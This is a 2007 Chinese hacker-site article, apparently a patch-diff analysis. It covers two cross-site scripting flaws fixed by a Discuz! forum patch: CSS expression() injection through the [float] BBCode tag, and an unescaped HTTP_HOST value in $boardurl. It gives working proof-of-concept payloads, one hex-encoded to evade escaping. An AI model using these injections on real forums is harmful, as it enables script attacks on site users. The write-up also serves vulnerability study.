黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]Dz0724补丁补掉的一个xss+补掉的另外一个xss
      ★★★★★

Dz0724补丁补掉的一个xss+补掉的另外一个xss

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-9-4 17:13:26
对比补丁我们发现在\include\discuzcode.func.php里:
 $discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则
 
 "/\[align=([^\[\<]+?)\]/i", ---->补丁前
 "/\[float=([^\[\<]+?)\]/i"
 |
 V
 "/\[align=(left|center|right)\]/i", ---->补丁后
 "/\[float=(left|right)\]/i"

继续看下面的codz是杂处理这2个标签的:
 $discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则

 ........
 "<p align=\"\\1\">",
 "<br style=\"clear: both\"><span style=\"float: \\1;\">"

替换的代码部分:
 $message = str_replace($discuzcodes['searcharray']['bbcode_str'],
 $discuzcodes['replacearray']['bbcode_str'],
 preg_replace(
 ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['searcharray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['searcharray']) : $discuzcodes['searcharray']['bbcode_regexp']),
 ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['replacearray']) : $discuzcodes['replacearray']['bbcode_regexp']),
 $message));
经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<>
这也就是意味着 "/\[align=([^\[\<]+?)\]/i"-->"<p align=\"\\1\">" 是没办法用"<>等闭合,我们再看float标签:
"/\[float=([^\[\<]+?)\]/i"-->"<br style=\"clear: both\"><span style=\"float: \\1;\">"
替换后的\\1进入<span style= ,哈哈 style=里利用expression()是不需要"闭和的 :)。

测试codz:
[float=expression(alert(123456789))]test[/float]
上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看"/\[float=([^\[\<]+?)\]/i" 这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了
所以完全是可以利用的 如:
[float=\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\31\32\33\34\35\36\37\38\39\29\29]test[/float]
不过还是弹筐筐 :)。

后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。

Dz0724补丁补掉的另外一个xss

\include\common.inc.php里:
$boardurl = 'http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/';

$boardurl = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886